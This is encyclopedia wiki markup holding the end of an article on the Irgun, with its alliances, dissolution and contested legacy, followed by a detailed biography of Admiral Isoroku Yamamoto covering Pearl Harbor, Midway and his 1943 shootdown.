* From about October of 1945 until July 1946, Irgun was in an alliance with the Haganah and Lehi called the [[Jewish Resistance Movement]] (תנועת המרי העברי), organized to fight British restrictions on Jewish immigration. This alliance ended when Irgun bombed British military, police, and civil headquarters at the King David Hotel as a retaliation for [[Operation Agatha]].
* From July 1946 until June 1948, Irgun fought as irregulars against the British mandate and Arab forces, informally in coordination with Haganah forces. Their participation in alleged [[war crimes]] at [[Deir Yassin]] has been widely discussed and documented.  Their largest single operation was a successful assault on [[Jaffa, Israel|Jaffa]] (an Arab enclave according to the UN partition plan) starting on May 25.
* In 1948, the group was formally dissolved and its members integrated into the newly formed [[Israeli Defense Forces]]. This integration largely coincided with the sinking of the [[Altalena Affair|Altalena]], a ship with fighters Irgun had recruited and arms Irgun had acquired for the Israeli forces.

===Legacy of Irgun===
Leaders within the mainstream [[Jewish Agency]], [[Haganah]], [[Histadrut]], as well as British authorities, routinely condemned (publicly at least; privately the Haganah kept a dialogue with the dissident groups) Irgun operations as [[Terrorism|terrorist]] and branded it an illegal organization, as a result of the groups attacks on civilian targets.  In their defense, former Irgun leaders assert that:

* The premises for their founding and strategy were vindicated by subsequent events. Arab violence against Jews in the mandate of Palestine could only be deterred through retaliation; the British authorities only ended their restrictions on Jewish immigration when pressured by force; and unrestricted Jewish immigration was a matter of saving lives, both during the [[Shoah]] and during post-World War II [[pogrom]]s in [[Poland]] and [[Ukraine]].  
* Operations that are usually characterized as &quot;terrorist&quot; had another character. The [[King David Hotel bombing]] was considered a legitimate military target, being the British military headquarters; the attack on [[Deir Yassin]] was part of a campaign to control the road between Jerusalem and Tel Aviv; the attack on the Acre prison was to release prisoners the British intended to hang.
&lt;!-- * At least one of the attacks plainly made against civilians was unauthorized by the Irgun.--&gt;

===Radio station===
The Irgun had, from 1939, a [[Radio station]]: [[Kol TSion HaLokhemet]].

===See also===
* [[Lehi (group)]] (also known as Stern gang)
* [[List of Irgun attacks during the 1930s]]
* [[List of Irgun attacks during the 1940s]]

==Further reading==
*J. Bowyer Bell, ''Terror Out of Zion: Irgun Zvai Leumi, Lehi, and the Palestine Underground, 1929-1949'', (Avon, 1977), ISBN 0-380393964

==External links==
* [http://www.etzel.org.il/english/index.html Official History of Irgun]
* [http://www.us-israel.org/jsource/History/irguntoc.html History of Irgun by an American Jewish Organization]
* [http://www.britannica.com/ebc/article?eu=393481 Encyclopedia Britannica Entry on Irgun]


[[Category:History of Israel]]
[[Category:Israel Defense Forces]]
[[Category:Militant Zionist groups]]
[[Category:National liberation movements]]
[[Category:Terrorism]]

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[[Image:Admiral Isoroku Yamamoto.jpg|thumb|260px|Admiral Isoroku Yamamoto]]
'''Isoroku Yamamoto''' ([[:ja:山本五十六|山本五十六]] ''Yamamoto Isoroku'', [[April 4]] [[1884]] &amp;ndash; [[April 18]] [[1943]]) was the commander of the [[Imperial Japanese Navy]] for the first four years of [[World War II]].  He is generally regarded to be Japan's greatest naval strategist of the war, and among the greatest naval strategists in history.

==Family background==
Yamamoto was born ''Isoroku Takano'' (高野 五十六 ''Takano Isoroku'') in [[Nagaoka, Niigata|Nagaoka]] in [[Niigata prefecture|Niigata]]. His father was ''Takano Sadayoshi'' (高野 貞吉 ''Takano Sadayoshi''), a lower-ranking [[samurai]] of Nagaoka-[[Han (Japan)|han]]. &quot;Isoroku&quot; is an old Japanese term meaning &quot;56&quot;; the name referred to his father's age at Isoroku's birth.

In 1916, Isoroku was adopted into the Yamamoto family and took the Yamamoto name. It was a common practice for Japanese families lacking sons to adopt suitable young men in this fashion to carry on the family name.  In 1918, Isoroku married a woman named Reiko with whom he sired four children:  two sons and two daughters.

==Early naval career==
Yamamoto enrolled at the [[Naval Academy]] at [[Etajima]], [[Hiroshima, Japan|Hiroshima]] in [[1901]], graduating in [[1904]]. In [[1905]] during the [[Russo-Japanese War]], he saw action as an ensign on the cruiser ''[[Nisshin]]'' at the [[Battle of Tsushima]] against the [[Russian Baltic Fleet]]. At that engagement, he lost two [[finger]]s on his left hand (see picture on the right). After the war, served in various shipboard assignments for several years.

In 1911 he took the &quot;B&quot; course at the Naval Staff College, and later the &quot;A&quot; course in 1916 on an obvious track for higher command. While studying in the United States at [[Harvard University]] (1919-1921) he was hired to plant a garden and several trees, on a farm in Dartmouth, Massachusetts. He served as executive officer of the light cruiser ''Kitakami'', toured Europe and America as an admiral's aide (1923-1924), and then moved into the realm of Naval Aviation in 1924 as the executive officer of a naval air station.

He served attaché duty in Washington, D.C. (1925-1928), then returned to naval aviation, commanding in succession, the [[aircraft carrier]] [[Japanese aircraft carrier Akagi|Akagi]] (1928), the Naval Aviation Department's Technical Bureau (1930-1933) and the First Carrier Division (1933). After serving as a delegate to the London Naval Conference, he commanded the Naval Aviation Department (1935).

Yamamoto received appointment as the Navy Vice Minister in 1936, holding that post until his assignment as Commander-in-Chief of the Combined Fleet. He also held the Naval Aviation Department command concurrently (1938-1939).

Yamamoto was promoted to Rear Admiral in 1929, Vice Admiral in 1934, and Admiral in 1940.

:''Reference: Evans &amp; Peattie (1997).''

==Preparing for war, 1920s and 1930s==
[[Image:Yamamoto.jpg|thumb|right|260px|Admiral Yamamoto]]

Although a political dove and fundamentally opposed to war with the United States by virtue of studies in the U.S., his tour of the nation as an admiral's aide, and his attach&amp;eacute; duty in Washington D.C., Yamamoto was inevitably drawn into war preparations by circumstance and his devotion to duty. His participation in the second [[London Naval Conference]] of 1930 made him a marked man for radical militarists in his service, as the continuing limitation of Japan's naval armaments was wildly unpopular with them.
  
Yamamoto systematically opposed the invasion of [[Manchuria]] in [[1931]], the subsequent land war with China (1937), and the alliance with [[Nazi Germany]]. He further enraged militarist sentiments by personally apologizing to U.S. Ambassador Joseph C. Grew for the bombing of the gunboat U.S.S. Panay in December 1937. As Japan slid progressively toward war, the militarists marked Yamamoto for assassination and he was prudently reassigned from the Navy Ministry to sea as Commander-in-Chief of the Combined Fleet ([[30 August]] [[1939]]), in part to make him harder for assassins to reach. He was promoted to Admiral, [[15 November]] [[1940]]. Yamamoto warned Premier [[Konoe Fumimaro]] to avoid war with the United States: &quot;If I am told to fight... I shall run wild for the first six months... but I have utterly no confidence for the second or third year.&quot; He was proven uncannily correct as the June 1942 [[Battle of Midway]] (generally considered the key turning point in the Pacific conflict) occurred almost six months to the day after the bombing of [[Attack on Pearl Harbor|Pearl Harbor]].

In naval matters, Yamamoto opposed the building of the super-battleships [[Japanese battleship Yamato|Yamato]] and [[Japanese battleship Musashi|Musashi]]. He believed their construction a strain on Japan's limited resources and their utility questionable. Uninformed observers have criticized Yamamoto as being somehow latently &quot;battleship-centric&quot; for later employing both ships as flagships, but these selections were probably driven by the mundane demands of having adequate accommodations for the Combined Fleet staff personnel, and sufficient radio facilities for command and control. Ultimately, Yamamoto was proven correct about the super-battleships' limited usefulness as they spent much of the war at anchor and never successfully came to grips with their American counterparts, instead being sunk by massed air attack.

Yamamoto was responsible for a number of innovations in Japanese Naval Aviation. Although remembered for his association with aircraft carriers due to Pearl Harbor and Midway, Yamamoto did more to influence the development of land-based naval aviation, particularly the [[G3M]] and [[G4M]] medium bombers. His demand for great range and the ability to carry a torpedo was intended to conform to Japanese conceptions of attriting the American fleet as it advanced across the Pacific in war. The planes did achieve truly remarkable range, but at the price of outstripping the range of any potential fighter escorts while also being so lightly constructed and so loaded with fuel that they were tragically vulnerable to enemy fire. This earned the G4M the sardonic nick-name &quot;the Flying Cigarette Lighter&quot; and Yamamoto ironically died in one of these aircraft.

The range of the G3M and G4M contributed to a demand for great range in a fighter aircraft. This partly drove the requirements for the [[A6M Zero]] which was as noteworthy for its astonishing range as for its legendary maneuverability. Both qualities were again purchased at the expense of light construction and flammability that later contributed to the A6M's downfall as the war progressed.

As Japan moved toward war during 1940, Yamamoto gradually moved toward strategic as well as tactical innovation, again with mixed results. Prompted by talented young officers such as Minoru Genda, Yamamoto approved the reorganization of Japanese carrier forces into the First Air Fleet, a consolidated striking force that gathered Japan's six largest carriers into one unit. This innovation gave great striking capacity, but also concentrated the vulnerable carriers into a compact target; both boon and bane would be realized in war. Yamamoto also oversaw the organization of a similar large land-based organization in the 11th Air Fleet, which would later use the G3M and G4M to neutralize American air forces in the [[Philippines]] and sink the British Force &quot;Z.&quot;

In January 1941, Yamamoto went even farther and proposed a radical revision of Japanese naval strategy. For two decades, the Naval General Staff had planned in terms of Japanese light surface forces, submarines and land-based air units whittling down the American Fleet as it advanced across the Pacific until engaging in a climactic &quot;Decisive Battle&quot; in the northern Philippine Sea between the Ryukyu Islands on the west and the [[Marianas Islands]] on the east. This battle was intended to take place when the American forces had finally been worn down to parity with the Japanese Navy.

Correctly citing that this plan had never worked even in Japanese wargames, and painfully aware of American strategic advantages in military productive capacity, Yamamoto proposed instead to seek a decision with the Americans by first reducing their forces with a preemptive strike, and then following that with a &quot;Decisive Battle&quot; that would be sought offensively, rather than defensively. Yamamoto hoped, but probably did not believe, that if the Americans could be dealt such terrific blows early in the war, they might be willing to negotiate an end to the conflict. All hope of such vanished when he became aware that the note breaking diplomatic relations with the United States was delivered late and he correctly perceived the Americans would be resolved upon revenge. Yamamoto's thoughts on this matter were later dramatically encapsulated in the apocryphal &quot;[[Isoroku Yamamoto's sleeping giant quote|sleeping giant]]&quot; quote uttered in the movie &quot;[[Tora! Tora! Tora!]]&quot;

The Naval General Staff proved reluctant to go along and Yamamoto was eventually driven to capitalize on his popularity in the fleet by threatening to resign to get his way. Admiral Osami Nagano and the Naval General Staff eventually caved in to this pressure, but only insofar as approving the Pearl Harbor Raid. Surprise attacks were a Japanese military tradition when starting a war and they could see their way clear to supporting such to give themselves six months to secure the resources of the Netherlands East Indies without the interference of the American navy.

The First Air Fleet commenced preparations for the Pearl Harbor Raid, solving a number of technical problems along the way, including how to launch torpedoes in the shallow water of Pearl Harbor and how to craft armor piercing bombs by machining down battleship gun projectiles.

:''References: Evans &amp; Peattie (1997), Peattie (2002)''.

===The attack on Pearl Harbor, 1941===
{{main|Attack on Pearl Harbor}}
As Yamamoto had planned, the First Air Fleet of six carriers armed with about 400 planes, commenced hostilities against the Americans on [[7 December]] [[1941]], launching 353 of those aircraft against Pearl Harbor in two waves. The attack was a complete success according to the parameters of the mission which sought to sink at least four American battleships and prevent the U.S. Fleet from interfering in Japan's southward advance for at least six months. American aircraft carriers were also considered a choice target, but were not prioritized ahead of battleships as some observers have mistakenly suggested.

In fact, five American battleships were sunk, three more damaged, and ten other cruisers, destroyers and auxiliaries were sunk or seriously damaged. Although Yamamoto later lamented that First Air Fleet Commander Vice Admiral [[Chuichi Nagumo]] did not seize the initiative to seek out and destroy the American carriers that were absent from the harbor, or further bombard various strategically important facilities on Oahu, Nagumo prudently withdrew after his stunning success. The Japanese lost only 29 aircraft when they had expected to lose far more and perhaps two carriers as well. Nagumo also had absolutely no idea where the American carriers might be and risked their finding and attacking him first at a vulnerable moment. His aircraft also lacked appropriate ordnance for attacking the machine tools and [[drydock]]s of the shipyard, or even the revetted fuel tanks, whose destruction could have been far more serious losses than the fighting ships themselves. Insufficient daylight remained after recovering the aircraft from the first two waves to launch and recover a third, and Nagumo's escorting [[destroyer]]s lacked the fuel capacity for him to loiter long. Too much has been made of Yamamoto's hindsight and wishful thinking and it is instructive to note that he did not punish Nagumo in any way for his withdrawal, which was after all according to plan.

On the political level, the attack was a disaster for Japan, rousing American passions for revenge due to it being a &quot;sneak attack&quot;. In fact, the Japanese had begun all their modern wars in this fashion and it was fully expected they would do so again - just not at Pearl Harbor. The shock of the attack coming in an unexpected place, with such devastating results and without the &quot;fair play&quot; of a declaration of war galvanized American determination to avenge the attack.

As a strategic blow intended to prevent American interference in the Netherlands East Indies for six months, the attack was a success, but unbeknownst to Yamamoto, a pointless one. The U.S. Navy had abandoned any intention of attempting to charge across the Pacific to the Philippines at the outset of war in 1935. In 1937, the [[U.S. Navy]] had further determined that even fully manning the U.S. Fleet to wartime levels could not be accomplished in less than six months, and myriad other logistic assets needed to execute a trans-Pacific movement simply did not exist and would require two years to construct after the onset of war. In 1940, U.S. Chief of Naval Operations, Admiral [[Harold Rainsford Stark|Harold Stark]] had penned &quot;Plan Dog&quot; which emphasized a defensive war in the Pacific while the U.S. concentrated on defeating Nazi Germany first, and consigned Admiral [[Husband Kimmel]]'s [[U.S. Pacific Fleet|Pacific Fleet]] to merely keeping the I.J.N. out of the eastern Pacific and away from the shipping lanes to [[Australia]].

As a tactical raid, the attack was a smashing victory, handily achieving its limited objectives at an amazingly low price of 29 aircraft (and five miniature submarines that contributed nothing of value). Hindsight and wishful thinking on the part of the Japanese regarding the attack's flaws, and American unpreparedness should not detract from the appreciation that military forces seldom achieve such complete surprise and devastation in an operation.  Credit for husbanding the ambitious brain-child of his talented air subordinates to fruition is Yamamoto's.

:''References:   Evans &amp; Peattie (1997), Miller (1991), Peattie (2002)''.

==Six months of running wild, December 1941 to May 1942==
With the American Fleet largely neutralized at Pearl Harbor, Yamamoto's Combined Fleet turned to the task of executing the larger Japanese war plan devised the Army and Navy General Staffs. The First Air Fleet proceeded to make a circuit of the Pacific, striking American, Australian, Dutch and British installations from [[Wake Island]] to Australia to Ceylon (now [[Sri Lanka]]) in the [[Indian Ocean]]. The 11th Air Fleet caught the American 7th Air Force on the ground in the Philippines hours after Pearl Harbor, and then proceeded to sink the British Force &quot;Z&quot; (battleship [[HMS Prince of Wales (1939)|HMS Prince of Wales]] and battlecruiser [[HMS Repulse (1916)|HMS Repulse]]) underway at sea.

Under Yamamoto's able subordinates, Vice Admirals Ozawa, Kondo and Takahashi, the Japanese swept the inadequate remaining American, British, Dutch and Australian naval assets from the Netherlands East Indies in a series of amphibious landings and surface naval battles that culminated in the [[Battle of the Java Sea]] on [[27 February]] [[1942]]. With the occupation of the Netherlands East Indies, and the reduction of the remaining American positions in the Philippines to forlorn hopes on the [[Bataan Peninsula]] and [[Corregidor]] island, the Japanese had secured their oil- and rubber-rich &quot;Southern Resources Area&quot;.

Having achieved their initial aims with surprising speed and little loss (albeit against enemies ill-prepared to resist them), the Japanese paused to consider their next moves. Since neither the British nor the Americans were willing to negotiate, thoughts turned to securing and protecting their newly seized territory, and acquiring more with an eye toward additional conquest and/or attempting to force one or more enemies out of the war.

Competing plans developed at this stage, including thrusts to the west against India, the south against Australia and the east against the United States. Yamamoto was involved in this debate, supporting different plans at different times with varying degrees of enthusiasm and for varying purposes, including &quot;horse-trading&quot; for support of his objectives.

Plans included ideas as ambitious as invading [[India]] or Australia, as well as seizing [[Hawaii]]. These grandiose ventures were inevitably set aside as the Army could not spare enough troops from China for the first two, and Japan lacked the shipping to support the latter two. Instead, the Imperial General Staff supported an Army thrust into [[Burma]] in hopes of linking up with Indian Nationalists revolting against British rule, and attacks in [[New Guinea]] and the [[Solomon Islands]] designed to imperil Australia's sea line of communication with the United States.

Instead, the Imperial General Staff chose to pursue elements of the western and eastern options. The Army would attack into Burma, while the Navy would extend the defensive island perimeter to the east in an effort to sever the sea line of communications between the U.S. and Australia. Yamamoto agitated for an offensive Decisive Battle in the east to finish the American fleet, but the more conservative staff officers were unwilling to risk it.

In the midst of theses debates, the [[Doolittle Raid]] struck [[Tokyo]] and the surrounding areas, galvanizing the threat posed by the American aircraft carriers that had launched it in the minds of the staff officers, and giving Yamamoto an event he could exploit to get his way. The Naval General Staff agreed to Yamamoto's Midway (MI) Operation, subsequent to the first phase of the operations against Australia's link with America.

Yamamoto rushed planning for the Midway venture and the concurrent diversionary effort against the Aleutians, while dispatching a force under Rear Admiral Takagi, including the Fifth Carrier Division (the large, new carriers [[Shokaku]] and [[Zuikaku]]), to support the effort to seize the islands of [[Tulagi]] and [[Guadalcanal (Pacific Ocean island)|Guadalcanal]] for seaplane and airplane bases, and the town of [[Port Moresby]] on Papua New Guinea's south coast facing Australia.

The Port Moresby (MO) Operation proved an unwelcome reverse. Although Tulagi and Guadalcanal were taken, the Port Moresby invasion fleet turned back when Takagi clashed with an American carrier task force in the [[Battle of the Coral Sea]] in early May. Although the Japanese sank a large American carrier in exchange for a smaller carrier, the Americans damaged the carrier Shokaku so badly she required dockyard repairs. Just as importantly, Japanese operational mishaps and American fighters and anti-aircraft fire devastated the dive-bomber and torpedo plane elements of both Shokaku's and Zuikaku's air groups. These losses side-lined the Zuikaku while she awaited replacement aircraft and replacement aircrew (and saw to the tactical integration and training of the later). These two ships would be sorely missed a month later at Midway.

:''References: Dull (1978) , Evans &amp; Peattie (1997), Lundstrom (1984).''

==The Battle of Midway, June 1942==
Yamamoto's plan for the Midway (MI) Operation has been misunderstood and misevaluated for decades. It was not the spur-of-the-moment whim of an arrogant man. Nor was it a senselessly complex gamble or an emotional over-reaction to the Doolittle Raid. It was the logical extension of Yamamoto's efforts to knock the U.S. Pacific Fleet out of action long enough for Japan to fortify its defensive perimeter in the Pacific island chains. Yamamoto had realized from the beginning that it would be necessary to seek an early, offensive Decisive Battle to have any hope - however thin - of bringing the Americans to the negotiating table.

Yamamoto's plan was to draw American attention--and possibly carrier forces--north from Pearl Harbor by sending his Fifth Fleet (2 light carriers, 5 cruisers, 13 destroyers and 4 transports) against the [[Aleutians]], raiding [[Dutch Harbor]] on [[Unalaska Island]] and invading the more distant islands of [[Kiska]] and [[Attu Island|Attu]].

The following day, the First Mobile Force (4 carriers, 2 battleships, 3 cruisers, and 12 destroyers) would raid Midway and destroy its air force. Once Midway's air power was neutralized, the Second Fleet (1 light carrier, 2 battleships, 10 cruisers, 21 destroyers and 11 transports would land 5,000 troops to seize the [[atoll]] from the American [[United States Marine Corps|Marines]].

The seizure of Midway was expected to draw the American carriers west into a trap where the First Mobile Force would engage and destroy them. Afterward, the First Fleet (1 light carrier, 7 battleships, 3 cruisers and 13 destroyers), in conjunction with elements of the Second Fleet would mop up remaining American surface forces and complete the destruction of the Pacific Fleet.

To guard against mischance, Yamamoto initiated two security measures. The first was an aerial reconnaissance mission (Operation K) over Pearl Harbor to ascertain if the American carriers were there. The second was a picket line of submarines that would detect the movement of the American carriers toward Midway in time for the First Mobile Force, First Fleet and Second Fleet to combine against it.

The plan was well thought out, well organized and finely timed. Against 4 carriers, 2 light carriers, 11 battleships, 16 cruisers and 46 destroyers likely to be in the area of the main battle the Americans could field only 3 carriers, 8 cruisers, and 15 destroyers. The disparity appeared crushing. Only in numbers of available aircraft and submarines was there seeming parity between the two sides. Barring something extraordinary, it appeared Yamamoto held all the cards.

Unfortunately for Yamamoto, something extraordinary had happened. The worst fear of any commander is that somehow the enemy will learn his battle plan in advance, which is exactly what American [[Cryptography|cryptographers]] had discerned from breaking Japan's primary naval code. As a result, Admiral [[Chester Nimitz|Nimitz]], the Pacific Fleet commander, was able to circumvent both of Yamamoto's security measures and position his outnumbered forces in the exact position to conduct a devastating ambush.

Admiral Nimitz dispatched a destroyer to guard the intended refueling point of Operation K's [[flying boat]]s, causing the reconnaissance mission to be aborted and leaving Yamamoto ignorant of whether the Pacific Fleet was still at Pearl Harbor. He also dispatched his carriers toward Midway early, and they passed the Japanese submarine picket line before the Japanese submarines arrived, negating Yamamoto's back-up security measure. Nimitz's carriers then positioned themselves to ambush the First Mobile Force when it struck Midway. The Aleutians feint was properly ignored, and days before Yamamoto and his forces could reasonably expect American carriers to interfere in the Midway operation, they destroyed the four carriers of the First Mobile Force on [[4 June]] [[1942]] in an attack that caught the Japanese carriers at precisely their most vulnerable moment.

With his air power destroyed and his forces not yet concentrated for a fleet battle, Yamamoto was unable to maneuver his remaining units to trap the American forces when their tactical commander prudently withdrew to the east rather than risk a night surface encounter in which his carriers would be at a disadvantage. Correctly perceiving that he had lost, Yamamoto aborted the invasion of Midway and withdrew his forces from the field, having no desire to occupy a distant atoll he no longer had the capacity to support and defend. The defeat ended Yamamoto's six months of &quot;running wild&quot; and marked the high tide of Japanese expansion.

Yamamoto's plan for the MI Operation has been the subject of much out-of-context criticism. It has been blasted for violating the military principle of concentration of force while the value of other principles such as deception, and envelopment have been blithely waved away by critics. The complexity of the operation has been overemphasized with no regard for parallels in similar Allied operations, or the degree to which the American intelligence coup deranged the Japanese plan. Criticisms of the risk of the operation have freely ignored the pressing necessity of it to neutralize the rebounding Pacific Fleet, as well as the exceptional nature of the American cryptographic victory.

Absent the American code break-through, the MI plan would appear neither particularly complex, diffuse, or dangerous. The Aleutians feint would have drawn American attention, Operation K would have ascertained the Pacific Fleet's whereabouts, the submarine cordon would have picked up the American carriers moving toward Midway, and the First Fleet, Second Fleet and First Mobile Force would have concentrated into a lethal whole.

:''References: Dull (1978), Evans &amp; Peattie (1997), Lundstrom (1984), Prados (2001).''

==Actions after Midway==
The [[Battle of Midway]] solidly checked Japanese momentum, but it was not actually the turning point of the Pacific War. The I.J.N. planned to resume the initiative with operations (FS) aimed at eventually taking Samoa and Fiji to cut the Australian life-line to the United States. This was expected to short-circuit the threat posed by General [[Douglas MacArthur]] and his American and Australian forces in New Guinea. To this end, development of the airfield on Guadalcanal continued and attracted the baleful eye of Yamamoto's opposite number, [[Admiral King]].

King ramrodded the American invasion of Guadalcanal and beat the Japanese to the punch, descending on the island in August 1942 and precipitating a bitter struggle that lasted until February 1943 and commenced a battle of attrition Japan could ill-afford.

Admiral Yamamoto remained in command, retained at least partly to avoid diminishing the morale of the Combined Fleet. However, he had lost face in the Midway defeat and the Naval General Staff were disinclined to indulge further gambles. This reduced Yamamoto to pursuing the classic defensive Decisive Battle strategy he had attempted to overturn.

Guadalcanal caught the Japanese over-extended and attempting to support fighting in New Guinea while guarding the Central Pacific and preparing to conduct the FS Operation. The FS Operation was abandoned and the Japanese attempted to fight in both New Guinea and Guadalcanal at the same time. Already overextended, they perpetually fell short of success for lack of shipping, lack of troops, and a disastrous inability to coordinate Army and Navy activities.

Yamamoto committed Combined Fleet units to a series of small attrition actions that stung the Americans, but suffered loses he could ill-afford in return. Three major efforts to carry the island precipitated a pair of carrier battles that Yamamoto commanded personally at the Eastern Solomons and [[Santa Cruz Islands]] in September and October, and finally a wild pair of surface engagements in November, all timed to coincide with Japanese Army pushes. The timing of each major battle was successively deranged when the Army could not hold up its end of the operation. Yamamoto's forces caused considerable loss and damage, but he could never draw the Americans into a decisive fleet action. As a result, the Japanese Navy's strength began to bleed off.

Particularly harmful were the severe losses of carrier dive-bomber and torpedo-bomber crews in the carrier battles that emasculated the carrier air groups. With Guadalcanal lost in February 1943, there was no further attempt to seek a major battle in the Solomon Islands although smaller attrition battles continued. Yamamoto shifted the load of the air battle from the depleted carriers to the land-based naval air forces. Some of these units were positioned at forward bases in the Solomon Islands, and while on an inspection trip to these positions on [[18 April]] [[1943]], Yamamoto once more fell victim -- this time personally -- to American code-breaking. A squadron of American [[P-38]] fighters ambushed his plane and its escorts.

:''References: Dull (1978).''

==Yamamoto's death==
To boost morale following Guadalcanal, Yamamoto decided to make an inspection tour throughout the South Pacific. On [[14 April]] [[1943]], the US naval intelligence effort, code-named &quot;[[Magic (cryptography)|Magic]]&quot;, intercepted and decrypted reports of the tour.

The original message NTF131755, addressed to the commanders of Base Unit No. 1, the 11th Air Flotilla and the 26th Air Flotilla, was encoded in the Japanese Naval Cipher JN-25D (Naval Operations Code Book of the third version of RO), and was picked up by three stations of the &quot;Magic&quot; apparatus, including Fleet Radio Unit Pacific Fleet. The message contained specific details regarding Yamamoto's arrival and departure times and locations, as well as the number and types of planes that would transport and accompany him on the journey. 

Yamamoto, the itinerary revealed, would be flying from Rabaul to Ballale Airfield, on an island near [[Bougainville]] in the [[Solomon Islands]], on [[18 April]]. He and his staff would be flying in two medium bombers ([[G4M]] Bettys  of the 205th Kokutai Naval Air unit), escorted by six fighters ([[A6M]] [[Mitsubishi Zero]]s of the 204th Kokutai NAU), to depart Rabaul at 0600 and arrive at Ballale at 0800, Tokyo time.

Admiral Nimitz consulted Adm. [[William F. Halsey, Jr.]], Commander, South Pacific, then authorized the mission on [[17 April]].

===The Interception Mission===
To avoid detection by radar and Japanese [[coast-watchers]], the mission entailed an over-water flight south of the Solomons, a distance of 430 miles. This was beyond the range of the [[F4F Wildcat]] and [[F4U Corsair]] fighters then available to Navy and Marine squadrons of [[Guadalcanal (Pacific Ocean island)|Guadalcanal's]] [[Cactus Air Force]]. The mission was then given to the [[339th Fighter Squadron]] of the [[347th Fighter Group]], [[13th Air Force]], whose [[P-38 Lightning]] aircraft, equipped with [[drop tanks]], would have the range to intercept and engage.

Planning for this mission was begun by Fighter Command's deputy, Marine LtCol. Luther S. Moore, who had the P-38s fitted with a navy ship's compass at the request of Major John W Mitchell, commanding officer of the 339th. These fighters each carried a 20&amp;nbsp;mm cannon and 4 × 50-calibre (12.7&amp;nbsp;mm) machine guns and normally carried two 165-gallon (625&amp;nbsp;L) drop tanks under their wings. For this raid a limited supply of 310-gallon (1136&amp;nbsp;L) tanks were flown up from New Guinea, sufficient to provide each Lightning with one of the larger tanks. Despite the differences in size, the tanks were located close enough to the aircraft's center of gravity to negate any performance problems.

Eighteen P-38s were tasked for the mission. One flight of four was designated as the &quot;killer&quot; flight while the remainder, which included two spares, would climb to 18,000 feet to act as &quot;top cover&quot; for the expected reaction by fighters based at Kahili. A flight plan was prepared by the Command Operations Officer, Marine Major John Condon, but was discarded for one prepared by Mitchell. He calculated an intercept time of 0935, based on the itinerary, to catch the bombers descending to land over Bougainville, ten minutes out from Ballale airfield. He worked backwards from that time and drew four precisely-calculated legs, with a fifth leg added if Yamamoto took other than the directmost route. In addition to heading out over the [[Coral Sea]], the 339th would &quot;wave-hop&quot; all the way to Bougainville at altitudes no greater than 50 feet (15&amp;nbsp;m), maintaining radio silence en route.

Although the 339th Fighter Squadron officially flew the mission, ten of the eighteen pilots were drawn from the other two squadrons of the 347th Group. A thorough, detailed briefing included a cover story for the source of the intelligence stating that a coast-watcher had spotted an important high officer boarding an aircraft at Rabaul, but the pilots were aware that their target was Admiral Yamamoto.

The specially-fitted P-38s took off from Guadalcanal's Fighter Two airstrip beginning at 0725. The date, [[April 18]], had the significance of being the one-year anniversary of the [[Doolittle Raid]] as well as being [[Easter Sunday]]. Two of the Lightnings assigned to the killer flight dropped out of the mission at the start, one with a tire flattened during takeoff, and the second when his drop tanks would not feed fuel to the engines.

In Rabaul, despite urgings by local commanders to cancel the trip for fear of ambush, Yamamoto's planes took off as scheduled for the 315-mile trip. They climbed to 6,500 feet, with their fighter escort behind and 1,500 feet higher, split into two V-formations of three planes.

Mitchell's flight of four led the squadron &quot;on the deck&quot; with the killer flight, consisting of Capt. Thomas G. Lanphier, Jr., 1st Lt. Rex T. Barber, and the spares, Lt. Besby F. Holmes and Lt. Raymond K. Hine, immediately behind, fighting off drowsiness, navigating by flight plan and [[dead-reckoning]]. This proved to be the longest fighter-intercept mission of the war, and was so skillfully executed by Major Mitchell that his force arrived at the intercept point one minute early, at 0934, just as the ever-punctual Yamamoto's aircraft descended into view in a light haze. Mitchell ordered his planes to drop tanks, turned to the right to parallel the bombers,  and began a full power climb.

Lt. Holmes was unable to drop his tanks and turned back to sea, followed by his wingman, Lt. Hine. Mitchell radioed Lanphier and Barber to engage and they turned to climb toward the eight aircraft. The closest escort fighters dropped their own tanks and began to dive toward the pair of P-38s. Lanphier, in a sound tactical move, immediately turned head-on and climbed towards the escorts while Barber chased the diving bomber transports. Barber banked steeply to turn in behind the bombers and momentarily lost sight of them, but when he regained contact he was immediately behind one, and began firing into its right engine, rear [[fuselage]], and [[empennage]]. Barber hit its left engine, it began to trail heavy black smoke, and the Betty rolled violently to the left, Barber narrowly avoiding a collision. Looking back he saw a column of black smoke and assumed it had crashed into the jungle. Barber headed towards the coast at treetop level, searching for the second bomber, not knowing which bomber carried Yamamoto.

Barber spotted the second bomber low over the water off Moila Point just as Holmes (whose wing tanks had finally come off) and Hine attacked it. Holmes damaged the right engine of the Betty, which began emitting a white vapor trail, then he and Hine flew over the damaged bomber, carrying Chief of Staff Vice Admiral [[Matome Ugaki]] and part of Yamamoto's staff. Barber next attacked the stricken bomber, pieces of it damaging his own aircraft, and it crash-landed in the water. Ugaki survived the crash as did two others and all were later rescued. Barber, Holmes and Hine were attacked by Zeroes, Barber's P-38 receiving 140 hits, and Holmes and Barber each claimed a Zero shot down during this meleé. The top cover briefly engaged reacting zeroes without making any kills and Major Mitchell observed the column of smoke from Yamamoto's crashed bomber. The P-38s broke off contact and returned to base, with Lt. Holmes so short of fuel that he was forced to land in the [[Russell Islands]]. Hine's Lightning was the only one missing and was never found.

As he approached Henderson Field, Lanphier radioed the Guadalcanal fighter director that &quot;I got Yamamoto&quot;, breaching security on the mission. Immediately on landing (his plane was so short on fuel that one engine quit during landing rollout) he again put in a claim for shooting down the bomber, relating that when he turned to engage the escort Zeroes he shot the wing off one, flipped upside down as he circled back towards the bombers, and saw the lead bomber turning a circle below him. He stated he came out of his turn at a right angle to the circling bomber and fired, blowing off its right wing. He stated that he witnessed Barber shoot down another bomber which also crashed in the jungle. Holmes put in a claim for the Betty that crashed into the water, so it was assumed that three bombers had been downed. The fifteen surviving pilots were not &quot;debriefed&quot; after the mission because this formal interrogation did not exist in the procedures on Guadalcanal at that time, and thus it was never formally established that no one else witnessed Lanphier's claim.
 
Lanphier initially received credit for the kill of Yamamoto's bomber but the other pilots on the mission were immediately skeptical. Although one of the most expertly-executed missions in history, the interception was subsequently marred by controversy over who actually shot down Yamamoto, and by Navy outrage over unauthorized releases of operational details to the press, including an October 1943 issue of ''[[Time Magazine]]'' which featured articles on both the shootdown and Lanphier by name. Mitchell had been nominated for the [[Medal of Honor]] for the mission, but as a result of the security issues this was downgraded to the [[Navy Cross]], which he and all the pilots of the killer flight were subsequently awarded.

